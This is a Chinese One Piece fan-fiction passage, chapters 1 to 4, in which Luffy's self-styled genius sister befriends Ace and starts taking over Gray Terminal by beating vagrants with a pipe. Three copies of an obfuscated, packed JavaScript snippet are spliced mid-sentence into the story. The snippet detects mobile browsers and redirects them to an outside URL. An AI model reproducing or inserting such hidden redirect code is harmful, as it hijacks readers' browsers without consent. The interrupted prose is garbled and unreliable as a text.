《[海贼王]想当世界之王有错吗》 1. 章一 我有三个哥哥，三个都是笨蛋。 大哥艾斯是大笨蛋，二哥萨博也是大笨蛋，而三哥路飞是最大最大的天下无敌第一大笨蛋！ 为了不被他们的笨蛋之气传染，我每天都会在早餐后认真花10分钟读书。 抚养我们的达旦山贼每次都会吼：就读个10分钟跑出去玩了有屁用啊！ 我也每次都会恶狠狠地吼回去：真正的天才不用学就能识字，我每天花十分钟是给玛奇诺送我的书一个面子！你懂不懂啊！ 大哥艾斯这个时候会摆着一张臭臭的脸，不理会我们的争吵走出去。 二哥萨博会哈哈哈讪笑着摆着手从墙角溜出去。 只有三哥路飞会紧跟着我大吼：就是！路希是海上最厉害最聪明的天才！ 所以虽然三哥是所有哥哥中最笨最笨的那一个，我还是最喜欢他了。 我本来还有一个姐姐，她叫乌塔，是一个唱歌非常非常好听的女孩子。她是我和路飞在风车村遇上的。我很喜欢她的歌声，她也很开心有一个和她差不多大的女孩子一同玩耍。于是我们便互相认做姐妹。 至于路飞，他不想叫乌塔姐姐，我认为主要原因来源于他在与乌塔的吃鸡比赛中，输了一百八十三次。 我原本以为我们可以这样一直和乌塔玩下去的。可是后来有一天，她跟她的家人们——红发海贼团——一起出航，就再也没回来了。 我和路飞问回来的香克斯，也就是乌塔的爸爸，她去哪里了。 香克斯蹲下来很温柔地对我们说，乌塔要实现自己成为歌唱家的梦想，不会留在船上了。 我觉得他在说谎，因为我感觉到他说话的语气中带着一丝不易察觉的悲伤。 他似乎很伤心的样子。 但我没有追问，和相信了的路飞得到答案后一起离开了。 因为我知道，如果大人执意要说谎，那么小孩子是永远不会得到答案的。 可我是路希，天下最最聪明的人，我迟早会自己找到乌塔，探查出她离开的真相。 艾斯和萨博也知道我有一个姐姐，因为我曾经跟他们提起过。但那并不是什么友好的交流氛围。 我和艾斯以及萨博并非如同我和路飞那样，从出生时就呆在一起并相伴着长大的。我和路飞与他们，其实并没有血缘关系。之所以会认识并成为兄妹，爷爷的原因要占一半。 我的爷爷是一名海军，身高差不多有三米这么高——像一个巨人，我和路飞只有他的小腿那么长。 他的力气很大，拳头很痛。每次来看我们，总是会在我们头上留下一个大包。因为我和路飞总是不太服他的管教。而且他一心希望我们成为海军，每次对我们的训练总是很严格。 好在他不是很常来，因为海上的海贼很多。作为一名中将，他经常奔波于抓海贼和其它事务。 我所处的时代，又名为大海贼时代。据传，是海贼王哥尔·D·罗杰在死前说了句，“想要我的财宝吗？想要的话可以全部给你，去找吧！我把所有财宝都放在那里。” 基于此，大海贼时代开启。 大家都想得到海贼王的宝藏，更别提原本就是海贼和有野心的那群人了。于是大海“哗啦”一下挤进了很多人，大家整天争来抢去的，原本不太和平的世界就变得更加混乱了。 我对海贼王口中的宝藏倒不是很感兴趣，但路飞不一样。 路飞的目标是成为海贼王。但我觉得贼这个字太不好听了，而且只是海上的贼王，这个目标太小了，不适合我。 我想当世界之王。 世界包括大海，显然是世界之王更加威风嘛！而海贼王的宝藏，肯定也没有世界之王的宝藏诱人吧！ 虽然现在还没有世界之王的宝藏，但如果我当上了，随口说一句就有了。 总是，我的目标是世界之王。 爷爷对我们两个的梦想都不是很肯定，毕竟他的梦想是让我们当出色的海军。没想到几次没见面，我们的目标就分别变成了世界之王和海贼王。他气得把手中的仙贝捏得碎碎的，认定是香克斯和他的那群同伙把我们带坏了。 哼，才不是呢。 唔……也许路飞想当海贼王是受到香克斯的影响吧。不过我想成为世界之王，就是因为我想成为世界之王！因为不管怎么看，世界之王这个称号就是很威风、很厉害、很了不起吧！ 像我这样天下第一聪明的人，就要有这种天下第一的称号！ 哦！至于我们的妈妈爸爸对此的意见……是毫无意见！因为她们从来没有在我和路飞的生活中出现过。 我们的妈妈和爸爸是谁？又在哪里？我和路飞从来不知道。可能活着，可能死了，可能半死不活——毕竟大海如此混乱。总之关于她们两个的一切不是很重要。反正没有妈妈爸爸，我们也健健康康地活到现在了。 总之感谢玛琪诺，感谢玛琪诺的橙汁和面包干，感谢鱼店大婶的烤鱼，感谢村长，感谢在风车村吃到的肉和其它的一切。 咳咳，致谢的话说完了，那来说一说我和路飞是怎么和艾斯认识的吧。 前文说到，我想当世界之王，路飞想成为海贼王，我们的爷爷觉得我们两个实在是太糟心了，带不下去啊带不下去，又怕会有香克斯这样的海贼再度来到风车村，带坏我们。于是他心念一动，便把我和路飞扔到了科尔伯山的山贼达旦那里，让她当我们的养母，好好照顾我们。 我承认我很震惊，山贼就比海贼好到哪里去了吗？而且，我还以为玛琪诺才是我和路飞的养母呢。 不过鉴于生母连个影子都没出现过，养母换几个好像也相当正常。我的大脑就这样接受了一切。 想当世界之王，宽阔的胸襟和超脱常人的思维是必不可少的。 于是我和路飞就这样见到了艾斯。 艾斯是一个非常臭屁的小孩，性格相当难搞。他的头发与我和路飞一样都是黑色的，脸上长着小雀斑。如果不说话，闭着眼，躺着一动不动还是有几分可爱的。 可惜他既不会闭自己的眼，也管不住自己的嘴。 我的意思是说他眼神很凶，说话也很难听。说出的语句难听，嗓音难听。一向在风车村顺风顺水的我遇到了除爷爷外的第一个跟头，我势必要把他打败——！ 但他是和山贼一起长大的，显然没有那么容易好打败。甚至于在初次见面时，就给了我和路飞一个下马威，我们原本还想和他好好相处呢！结果艾斯直接站在大石头上朝我们吐口水。 我震惊了，好没素质。 我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039733|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风车村最横行霸道的那几年都不会朝人吐口水。 路飞可以忍我不可以忍！未来要成为世界之王的人会打趴任何一个敢挑衅她的可悲虏仆！ 于是还在路飞抬头和艾斯对视的时候，我直接抓起地上的石头朝他扔去，顺便竖了个中指。 受死吧乱吐口水的没素质臭小鬼！ 没打中。 艾斯一闪身躲过去了，不过眼神变得更加凶狠，仿佛被激怒了的野兽。他捡起我扔上去的那块石头，视线在我和路飞两人之间来回移动。 最后落到我身上。 毕竟路飞只是看着，是我扔的石头。 我当然不会坐以待毙，在路飞的“不准欺负路希”的喊声中，我又捡起了一块散落在地上的小石头。 来啊！谁怕谁。 我们的战斗没能开始，因为爷爷过来了，直接提起我和路飞，和艾斯打招呼，并且自作主张的让我们两个以后和艾斯好好相处，一起生活。 他绝对是想让我们死，或者让艾斯死。 我们没有拒绝的权利，因为爷爷很强。那些明显不想养我和路飞的山贼们也没有拒绝的权利，因为不同意就会被爷爷送进大牢。艾斯同样没有拒绝的权利，不管他理都不理爷爷，冷着一张脸走回山贼屋。 爷爷最后叮嘱我们一句“要好好相处啊”就毫不留念的离开了。而我和路飞与艾斯旷日持久的争斗现在才要开始。 很遗憾的是，我们第一局就输了。 因为来到山贼达旦家的第一顿饭，居然是艾斯打猎带回来的野牛肉。 开什么玩笑！ 我怒视达旦：“你们也没太没用了吧！堂堂一群山贼，居然还让十岁的小孩打猎养活。” 达旦同样怒回：“你懂什么啊臭小鬼！山贼之间的竞争有多激烈你根本不知道！” 我们的视线在空中撞击。 “我当然不知道，因为我又不是山贼！你们就是很没用啦！路飞别吃了！快跟我一起骂她们！” “噢！没用！” “你们两个臭小鬼有没有搞懂啊？！接下来你们可是要在我这里生活的，想不挨打就给我听话点！” “那你把我和路飞养死吧，我看爷爷到时候来了你们要怎么跟他说。” 我一点都不带怕的好嘛！ 山贼达旦：“……！” 这个小孩好讨厌啊啊啊啊！ 我总结道：“总之你们让十岁的小孩给你们整饭吃，就是很没用。” 达旦泪奔：“我们就是很没用可以了吧！你很有用就不要吃啊！” 我趁机从这人碗里拿了两块肉，一块是我的一块是路飞的。刚才的抢肉竞争相当激烈，我和路飞拼尽全力也没抢到几块。现在这人情绪崩溃，能拿一点是一点。 我啃着肉口齿不清道：“那不行，我们没有肉吃是要饿死的。而且我们只是现在没什么用，之后还不一定呢。” 路飞同样啃着肉口齿不清：“对啊，我以后可是出海要当海贼的，绝对会打猎到很多肉吃。” 艾斯根本不想掺和我们和达旦的争吵，吃完自己那份便拿着水管冷酷地出门了。我和路飞迅速扒完饭，尾随跟上。 这可是我们两人未来生活中的强敌，绝不能掉以轻心！ 2. 章二 科尔伯山的环境如何，我和路飞根本不清楚，只在酒馆喝玛琪诺提供的免费饮料时，听那里的大人说过几句，似乎是非常险恶的地方，只有强者能活下来。 结果那群山贼看上去根本不像强者的模样，至少她们大概连艾斯都打不过。 因为艾斯可以赤脚踹断一颗要三四个成年人手牵手才能围起的大树。 真的很没素质！一点都不知道要爱护环境。 至于艾斯为什么要忽然踹断大树，是由于我和路飞跟踪被发现了。 “要小心、小心、小心哦！路飞，不可以被发现！” “嗯！” “啊他走得好快——我们跑！” “可恶，他究竟要去哪里啊？！” “不知道诶，不过这里的树长得可真好啊，不愧是深山！” 因为我和路飞一边跑一边说话，点评环境的同时忘记掩盖音量和跑步声，理所当然的被在不远前方的艾斯听到了。 艾斯回头，我和路飞急刹车。他在上我们在下，他冷着一张脸我们也努力冷着一张脸，争取气势上打败他。 艾斯一脚踹断了树，大树从上坡毫无阻碍地冲我们滚下来。 我和路飞：“……！” 我和路飞憋不住了：“啊啊啊啊啊啊啊啊啊！” 再不跑就要被压成肉饼了！ 跟踪艾斯第一步，失败，但还没有到放弃的时候。 我和路飞各自扑向山路的两边，算是将自己从成为肉饼的命运中逃脱出来，然后继续跟踪行动。 路飞把香克斯送给他的草帽戴在头上，摆好位置说：“说实话，路希，我已经没有像刚才那样讨厌艾斯了。” 我鼓起嘴：“我也没有很讨厌艾斯，但是我要成为世界之王，所以不听话的人都必须打败！” 路飞的眼中燃起斗志。“嗯！我也是要成为海贼王的人！” 我双手握拳：“不管这是科科山还是波波山，总之我要在这里踏出征途的第二步！” 第一步是风车村，我觉得已经完成了。玛琪诺和老村长还有村里的其她人对我都非常好！ 路飞：“好！我们走！” 跟踪艾斯第二步，开始。 理所当然的依旧没成功，虽然我们信心满满。 我和路飞毕竟是第一次到这破烂山，对环境啊路线啊全都不了解，而艾斯似乎是从出生时就交由达旦在这里养大了——所以我说爷爷根本不行，你看山贼达旦都把这人养成什么样了嘛！ 这个世界最会养小孩的一定是玛琪诺！ 总之艾斯在如何甩掉我和路飞方面相当熟练。我和路飞经历了迷路、桥上坠落、山坡滚落、野兽对战、水流冲走等等等等诸多磨难。 这一切相当惊险，但也非常有趣！ 探险未知的丛林、面对实力悬殊的野兽、在艰难的环境中求生，生与死的挣扎！一切又好像回到了当初爷爷把和我路飞两人扔进迷之大山里生存的时光。 太好玩了！ 风车村总是很平静，没点热闹的活动，不像这里，我太喜欢这座充满未知可能与危机的山了！ 而且我们也不算没有收获，除了最初几日，现在的我和路飞已经完全有能力带猎物回家养活达旦她们这群山贼了。 我把今天和路飞一起捕获的几只野猪扔在达旦身前，耀武扬威：“达旦！这个家就你和你身后这群小弟最没用了！哇哈哈哈哈哈。” 达旦神情灰暗，和那一群山贼们跪倒在地。 “怎么会……” 艾斯扔下他的鱼肉，“嘁”了一声。 路飞很自豪地对艾斯喊：“艾斯，你回来了啊！看，这是我和路希带回来的食物！” 艾斯瞥了一眼，自顾自走掉了。 我双手叉腰，这小子真的很难搞诶！但没关系，我是未来的世界之王，怎么会如此轻而易举就放弃呢。 虽然白天的跟踪总是失败，但晚上我们三个是睡在同一个房间的。因为山贼很多，可空间有限。哪怕我是女孩子，和他们性别不一样，不过估计还要在成长几年才能换个单独的房间，或者跟达旦一起睡。 话是如此，第一天晚上我还是专门用玛琪诺给我的记号笔在地板上划了一道分隔线。 “我睡这边，路飞你和艾斯睡另一边。因为我是女孩子。” 我能察觉到艾斯有几分疑惑，不明白我这么做的缘由，但他不主动开口问，我是不会说的。倒是路飞很直白地扭头对艾斯说：“玛琪诺说女孩子和男孩子是不能睡一起的。” 艾斯：“……” 当然没有艾斯的回应。 路飞和艾斯在这方面似乎都是天生的白痴，必须得有人专门教导才能明白其中的道理。总之就是到时候真有让我不爽的，往死里揍就可以了吧。 不过目前为止，我们晚上的时光相处得都还算和平。 我顶着昏暗的灯光在纸上涂涂画画，路飞自然而然地凑过来，然后在分隔线前停下，发问：“路希，你都在画什么啊？” 他好奇好几天了。 我边画边回他，“地图。” 路飞：“……什么东西？” 我：“科波波山的地图。我们这个月去过的地方，我简单记一下，到时候就知道还有多少地方是我们还没有去过的了。” 我画这个有段时间了。 路飞双眼闪闪发光：“噢噢噢！好厉害。” 艾斯欲言又止，终于冷眼吐出一句：“这是科尔伯山。”连山名字都记不住的人还想画地图，真是可笑。他到时候和萨博说萨博一定也会笑。 我：“哦。” 我继续平淡回道：“名字这种东西又不重要。” 倒是路飞很兴奋，转头看向艾斯，“艾斯，你终于和我们说话了啊！” 艾斯脸黑下来，不理会他，盖上被子就是睡觉。 “诶，不要睡嘛艾斯！再和我们聊几句嘛。” 路飞开始撒娇，没得到任何回应。我画完了今天的路线，直接熄灯。 “晚安，路飞，艾斯。” “啊，要睡了吗？那晚安，路希，艾斯。” 路飞直接秒睡。我打个哈欠，闭上眼睛准备休息。 我们每晚都会跟对方互道晚安，早上也会主动说一句早上好。反正说一句晚安和早上好又不耗费多少精力。只是艾斯从来没回过一句，他真的很没礼貌诶。不过今天是这个月以来，他第一次和我们对话，我们的关系也算是终于有所进步了吧！ 我判定今天是不错的一天！ 等我到时候把科尔伯山的概况搞明白的差不多了，就能知道艾斯每天除了捕猎，是去了哪里。他总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039734|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一天到晚除了和野兽战斗，没点其它活动吧！ 新一日，天气晴朗！ 我吃完早饭后抓住路飞，示意他今天不跟踪艾斯了。 “啊，那我们做什么？” “探索！” 我说得很大声，艾斯还没有走远，我是故意要让他听见的。我和路飞才不是整天除了跟踪他以外，没其它正事干的小屁孩呢。 我们也会很忙的！ 我超认真：“这附近的路线我差不多已经搞明白了，接下去就是去新地方探索。” 路飞全身上下都已经冒出了“我要去！我要去！”的气息，他顺势招呼走了有段距离的艾斯：“你也要一起来吗，艾斯——？” 艾斯头也不回地隐进树林中。 我盯着清晨的阳光眯起眼睛打量他最后离开的地方，艾斯在这里生活了十年，对科尔伯山附近的情况太了解了，对我和路飞而言是崭新的地点，在他眼中恐怕是早已玩腻的游乐场吧。不过我才懒得管他的想法。 “走啦，路飞！” “出发——！” 我和路飞一路往北，这是一个月来我努力观察出来的情况：与另三个方位不同，北边有人烟。 我在重新介绍一下我们生活的地方吧。 我和路飞生长在咚岛的风车村，岛上自是不会只有这一个村子。咚岛有一座王国，被称为哥亚王国，据说是东海最美丽的国家。 我和路飞没有进去过，不知真假。 北边的地方会不会是哥亚王国呢，我不确定。但不去看看永远无法知晓答案。 我和路飞穿过树干高耸，不见天日的树林，来到科尔伯山北边的终点，看到了一座巨大的、冒着烟雾的垃圾场。 “呜哇……”我和路飞不由得一齐惊呼。 “全部都是垃圾……”我跑过去，左看右看，上看下看，密密麻麻都是被丢弃起来的垃圾。废弃的桌椅、破损的玩具、腐烂的蔬果。“简直就是垃圾的坟场。” 路飞也在垃圾堆里翻看着。“好大的地方啊。” 我点头：“嗯！” 这对我们而言，简直就是宝藏堆！ 事实证明，这里不仅是我们小孩的宝藏堆，也是大人的宝藏堆。最外围还看不见什么人，但愈是往里走去，就能看到许多衣着破烂的，高矮胖瘦不一，虚弱强壮皆有的流浪汉们。 不知道是从哪里来的。风车村很少出现这种人，难道是哥亚王国里面的生活费太高昂，住不下去了只能在外面讨生活吗？ 我和路飞在里面乱逛，看见有些人会因为挖到了一些值钱的东西大打出手，有的人抢到了直接就跑。地方越混乱，治安就会越差劲。我拉着路飞的手走远了点。 没必要的争端还是尽量避免为好。 路飞问道：“艾斯会在这里吗？” 我思考了一下：“应该。总感觉这地方很适合他。” 倒不如说，他那种凶狠的性格，极有可能是在这里锻炼出来的吧。让我在这里生活个一段时间，我性格也不一定会很好。除非我能彻底把这群人打趴下，全部成为我的走狗。 我思索着，要不要把这里作为我的第三个征服地点呢？ 路飞已经在大喊了。“艾斯——你在这里吗？我和路希来了——！” 我觉得他听到了也不会回答。 3. 章三 那一整天我和路飞都很兴奋，科尔伯山居然相连着这么有趣的地方，而且我们彼此都感觉离艾斯更近一步了。等到时候探索完这座垃圾坟场，说不定艾斯在我们面前便无所遁形。 晚上的时候我问达旦那地方是哪里。 达旦疑惑了一下，然后才说：“你说的是不确定物终点站吧，那地方很混乱的，垃圾和人渣败类的聚集地，我劝你们还是不要经常过去比较好。” 我才不理她，反而指责道：“说起来你们不是山贼吗？为什么整天窝在家里不出去抢东西啊！说话！” 达旦气得捏坏了手中的筷子：“因为我们很没用可以了吧！” 我心满意足了。 吃饱喝好洗刷完毕，我上楼回房，在自己的地图上增添一处新地点：不确定物终点站。 艾斯推门而入，我一跃而起，把地图怼到他面前。 “看——！” 然后火速收回来。万一他把我地图抢过去撕碎了就得重新画一张了。 艾斯脸沉下去。“我没兴趣。” “我才不管你有没有兴趣。我是要对你说我和路飞今天找到了一处新地点！你也一定经常去那里。” 我的语气相当肯定，艾斯没回我，走到屋里坐在自己被子上。 我眨眨眼，说道：“不会让你逃掉的。迟早有一天我和路飞会抓住你，绝不松手！到那时你必须成为我们的朋友。” 以及当我的手下败将。 “谁管你们啊！” 他的语气相当不耐，但是我早已经习惯他的脾气，所以没有造成任何影响。我等下还要和路飞炫耀呢，因为艾斯今天和我说了两句话！路飞做得到吗？！ 路飞当然做不到。 因为等他洗刷完毕回房的时候，艾斯已经把被子盖在自己头上睡着了，真睡假睡不知道，总之路飞只能眼巴巴望着艾斯的被子，然后对我抱怨。 “你太狡猾了，路希！” “我才没有，我是天才哦，这是智慧的胜利。” “我才不管，你下次要带上我一起跟艾斯说话啦！” “嗯！下次一定！” 我心情超好的！ 第二天我没有和路飞一起行动，倒不是因为昨晚上和艾斯说话的事，而是我准备开始征服不确定物终点站。 风车村和山贼窝只能算餐前甜点，看到不确定物终点站后，我才确信，这才是真正值得挑战的地方。 混乱、无序、暴力。 路飞追着艾斯跑远了。我拿了几块肉，放在达旦编织好的篮子里，盖上布，拿起我的武器——和艾斯一样的水管。第一天看见的时候我就想给自己整一个了，这东西打人绝对很方便。后来催促着达旦也给我找了一个。 我向北疾行。 不确定物终点站其实是个相当原始的地方，也即是说，弱肉强食。 我的想法很简单：越是崇尚暴力的地方，就越能用暴力解决一切。 看上去这个垃圾坟场人人各自为营，但一些比较弱小的也会联合起来。我和路飞昨天在这里逛了一天，虽说没完全逛完，可也算了解大致状况。 我把放着肉的篮子放在昨日选好的一个地点，这附近的人不多，也并非特别强壮。那些健壮的人往往围绕在中心地带，我现在实力不足，最好别去那里挑衅他们。 肉放好了后，我躲藏起来，然后喊了一声：“这里有东西——！” 离得最近的人立马闻声而动，看到这个干净整洁的篮子。这个时候，一刻的犹豫都是对自己的不尊重，我看到他们很快冲了过来，开始争抢这个篮子。 篮子里的只是几块肉，不是什么宝石。但这个垃圾坟场可不会好心到为他们提供一日三餐，这里就连食物也需要依靠自己抢夺，甚至吃的的只是些烂菜叶和剩饭。这群人与中心地带的那些人而言，本身竞争力就弱，平日里吃的更不消说。 因此这几块肉等同于上好的宝石，甚至比宝石还值钱，因为能立马让他们饱餐一顿。 其实可以的话，我想和这里的女性先联手。但昨日逛了一圈，竟没发现一个女性。这或许算一件好事，可能她们都在城里好好生活，不至于流浪到外界。 人人都想要独享吃肉，打斗是注定会发生的事。 我在暗中潜伏着，等这群人打到出现伤亡时，才握紧水管，猛地冲过去。我的身材矮小，这是我作为孩童的优势，但另一方面，我的力气与这群成年人相比，或许便是劣势。 我说或许，是因为我天天和路飞去科尔伯山捕猎，这群明显营养不足的男人，可能力气真的不如我。 我毫不留情的用水管殴打着他们。 背、脚、腰、手，肉在争斗中从篮子里滚落，落到地上。这些男人们也像肉一样，最后趴在了地上。 “可恶……臭小鬼。” 我用水管又打了一下说我臭小鬼的男人。 “嘶……” 我绕着这群人走了一圈，顺带捡起地上的肉。 “想吃吗？” “快点滚走。” 我用脚狠狠踹了这个男人的腿，冷脸说道：“我问你们想吃吗，不是让你喊我滚走。” 周围一时无声。 我俯视着他们，“我可以每天给你们带这样的肉来吃。” 那些男人的眼神除了仇恨与恐惧，还有着些许的不解。 “代价便是，你们要听我的。” 有男人忍不住笑了出声，这依旧很好解决，谢谢水管。我漠然地打量着这些男人，一个个盯过去，直到他们不敢直视我的眼睛，垂下头去。 “你们觉得自己很有用吗？每天连必备的食物都得不到，还维持着莫名其妙的自傲看不起一个小孩，至少我可以一日三餐都有这样的肉吃。” “你……” 有人想说什么，但似乎是想起我之前的举动，闭住了嘴。我看向那个人，用水管指着他，说：“你可以说话，我允许了。” 那人抬起头，又低了下去，“你的食物也不是自己来的吧？！反正家里肯定有人为你准备好，让你可以带过来。” 我坦然应道：“我从出生起就没见过妈妈爸爸，这些食物也是每天在科尔伯山打猎得到的。” “那座科尔伯山？！” “嗯，所以说，你们觉得自己很有用吗？” 无人回应。 我继续问道：“你们还有什么问题吗？” 有一个男人弱弱举起了手，我示意他说出来。 “你想要我们听你的话做什么？” 终于有人问这个问题了，我看着他们，面上不显任何表情。“你们是从哥亚王国里出来的吧，像这些垃圾一样，因为一些问题、派不上用处、其它对贵族而言无关无关紧要的原因，当野狗一样被驱逐了。” 我环视一圈，“明明是自己的家，却不能回去；明明原先有床，却再也不能躺下；明明原本可以享受一日三餐，却只能过上饱一顿饥一顿的生活。我问你们，真的甘心吗？” “……就算这样，我们又能做什么？！我们根本没有办法啊！” “就是啊！如果能回去的话，谁不想回去！” “等等——你该不会是哪个贵族的小孩吧，你会带我们回去的吧？！” “别说蠢话了！”我怒骂道，“看看我穿的衣服，和你们差不了多少！”我的衣服上有很多补丁，原先是干净整洁的，但因为经常和路飞在山林里乱跑打猎的缘故，破损了很多。“想要回去的话——”我举起了手中的武器，“当然得用实力说话。” 周边寂静无声。 “你、你知道自己在说什么吗？”有人颤颤巍巍问道。 “你害怕了吗？那就继续在这里待下去，当一个人型垃圾，过着随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我看着他们的脸，思索了下，说道：“等下把你们的名字报给我，我记一下。” “好的老大！” 最先对我提出质问和跟随我的那个男人叫兰迪，在我将这群人的脸和名字都对上后，他率先来到我身边，对我说还有事要跟我聊聊。 我觉得这个人还算不错，如果我组织的这个团体要有个除我之外领头的，极大可能便是他，先前抢夺食物中，最有胜算的也是他。 因此他是我当时第一个打倒的人。 我和他沿着旁边的垃圾走了一段路。 “什么事？” “是关于这附近老大你需要注意的一些人。” 我眼睛一亮，那很有用了。但语气仍然要不慌不忙，老大要有老大的沉稳，可怕的形象包袱捆绑住了我。 “说。” “第一个是码头那边海贼港湾的人——蓝宝石海贼团的成员，带头的船长叫布鲁杰姆，是个相当残暴的海贼，而且实力强大，还有传言他是从伟大航路回来的。最近好像在搜集财宝，不知道干什么。总之很危险。” “嗯，我记住了。其它呢？” 他似乎有些难以启齿，但犹豫片刻还是说了出来。“其它是两个小孩。” “……哈？” 在这里我认识的小孩，除了路飞就是艾斯，路飞天天和我在一起，这两个小孩其中一个极有可能是艾斯，但另一个是谁啊。 “他们叫艾斯和萨博，算是这里相当恶名昭著的同伙了。” “……” 可恶的艾斯，我就知道他这么不想我和路飞当朋友，果然是在外面有别的朋友！ 我没让心内的想法影响到自己的语气，平静对兰迪说：“问题不大，我们绝对会成为远超他们的恶名昭著之人。” 我的梦想可是世界之王呢，迟早有一天，天上海下地上生存的所有人，都必须听到我的名字。 4. 章四 和兰迪关于不确定物终点站的情况聊了几句后，我和他分开，在外围逛了一会，没发现什么异常情况，也没遇见艾斯，以及那个素未谋面的萨博。 萨博从未在达旦一家出现，大约是城里出来的小孩，不知怎么和艾斯混一起的。他们肯定在这里有个秘密据点，不然艾斯在捕猎外的时间都干什么呢！只是不清楚他们的目标是什么，难道也想和我一样，征服不确定物终点站，接着再是端镇，最后进军哥亚王国吗？！ 那可不好。 嗯……不过考虑到他们在这里声名狼藉，想来应当不是。 我返回山贼窝，还有事要和达旦讨论呢。到达的时候，达旦正在日光下悠哉悠哉地晒着太阳，我鼓起嘴，这人也太懒惰了吧！ “喂达旦，不要睡了，我有事要跟你说。” 达旦：“……zzzz” 好烦、好吵，这小鬼早上不是和另两个小鬼出去了吗？怎么今天回来这么早。懒得理，继续装睡。 达旦不理我，我有些生气了，举起水管在她紧闭着的双眼前阴恻恻威胁道：“达旦，再不睁眼，我就只能强行让你醒了。” 达旦怒了，“能不能放点尊重给我！你还记得这是谁家吗？！” 我理直气壮：“我家。” 达旦：“……什么鬼啊？！” 我指责道：“这里难道不早就是我的地盘了，哦，还有路飞的。嗯……再分点给艾斯吧，反正你们一天的食物也是我们三个带回来的。” 达旦：“……” 达旦有苦难说，她一手创建起来的山贼窝就这么被眼前的小孩给分割。她深深呼气，告诉自己要冷静，冷静达旦，这人是卡普的孙女呢。 达旦：“好了小鬼，快说你有什么事？” 我坦然道：“食物。从今天起的食物，再分十人份的出来，我有用处。” 达旦猛然睁大眼：“你说什么——？” 我平静地复述一遍。 达旦：“……你知道自己在说什么吗？而且，这些食物你要拿去干什么啊？” 我正色看着她，神情相当认真。“达旦，你明白吗？伟大的世界之王的征程之路，不会因为得到一个山贼窝就停下！” 我单手握拳，伸向天际，笑得很开心。“所以我接下去要征服不确定物终点站啦！你们作为我的后勤，当然要给我准备额外的食物帮助我实现我的目标。何况——”我话锋一转，抱怨道：“你们的食物本来也是我和路飞还有艾斯准备的，吃白食的人有什么意见呢！” 达旦：“……” 完了，这个小鬼怎么好像是认真的？她还记得卡普那老头把这两人扔过来第一天说的话呢，好像是什么，让自己把她们培养成合格的海军吧。 现在看来这不完全失败了吗！一个人已经朝着莫名其妙的世界之王之路一去不复返了啊！ 达旦眼一黑，来个人带她走吧。如果可以重来，她再也不想在科尔伯山当山贼了，更不想养育三个难缠的小鬼。 “达旦，达旦，你应一声啊！嗯？你不说话，那我就当你同意了！”我拿着水管在她眼前晃了一下，很是满意。“食物的事到时候就交给你准备了。” 我蹦跳着跑上楼回房，继续思索着接下去的事。 目前我的对哥亚王国反抗军人数还少，只有十来个，每天的食物供应不是大问题。可若是发展到后期，人数增多，我这边不一定能获取这么多的食物。 山里打猎所得的终究有限。 不确定物终点站的更北边是端镇，是流氓地痞的所在，当然也有普通人生活在里面。那里虽比不上哥亚王国里的城镇，但也算有一套自己的交易体系，目前还算平和。 我接下去要做的，便是与端镇里面的人进行交易，换取稳定的食物。 但是，我必须要给端镇的那些黑心商人们所需的东西。可是不确定物终点站的人们能给出什么呢？而且镇上的一些团体想必比终点站的人更难搞。 可恶啊，我摸摸鼻子，真到了实行的时候，才能意识到这一切有多困难。不管了，反正目前先走一步是一步，如果失败了，那就从中吸取教训，再次想办法重来！ 我在房间里待了一会，感到没事干，有些无聊，又下去找了达旦。 “达旦——！” 我笑着对她招手。 达旦眼皮一跳，“又有什么事？” “是关于艾斯的事哦！我今天才想起来，为什么爷爷会把艾斯交给你们养着啊？你们怎么看都不像是能养好小孩的样子诶。” 达旦变了脸色，并非是因为对方说的养不好小孩，这事她自己也知道，何况本身也没多认真去养，而是因为路希问起了艾斯来到这里的原因。 艾斯是海贼王罗杰的小孩，当初罗杰遭受处刑的时候，海军同样也在各个岛屿搜索他的后代抓捕。 这种事是绝对不可以让眼前的小屁孩知道的。 达旦敷衍道：“这种事你去问你家的那个老头子呗。” “什么嘛？爷爷现在又不在，所以我才来问你。” “那你等他来这里再问呗，反正那老头肯定会来看你们的。” 好奇怪啊，如果是普通失去父母的小孩，达旦直接说就可以了吧。我看着满脸不耐之色的达旦，想起了先前问香克斯，乌塔去了哪里时他的回答。 当时的香克斯在说谎，现在的达旦看起来也是。为什么这些大人总是喜欢瞒着这样那样的事，真讨厌。 我不想理达旦了，再问也问不出什么，没劲。还是到时候自己找到答案吧，或者……和艾斯成为朋友，让他自己亲口对我和路飞说！ 差不多到了晚上，路飞才回来。他今天依旧没抓住艾斯，不过仍然信心满满，“路希，我已经感觉到了！我离艾斯越来越近了，一定有一天能跟踪成功的！” 我点点头：“嗯，一定可以！” 艾斯在不远处啃着肉，终于忍不住骂道：“两个白痴。” 好险，今天他差点真的被那个烦人的男孩发现了。然而这句话显然对这两个人毫无杀伤力，甚至对方看起来更兴奋了。 “路飞，艾斯今天对我们说话了！艾斯，你又输了！” “我听到了，路希。艾斯，你输了——我们来当朋友吧！” 艾斯：“……” 这两人是莫名其妙的在和他比什么啊！他发誓，今天，以后，以后的以后，绝对都不会对她们说一句话。 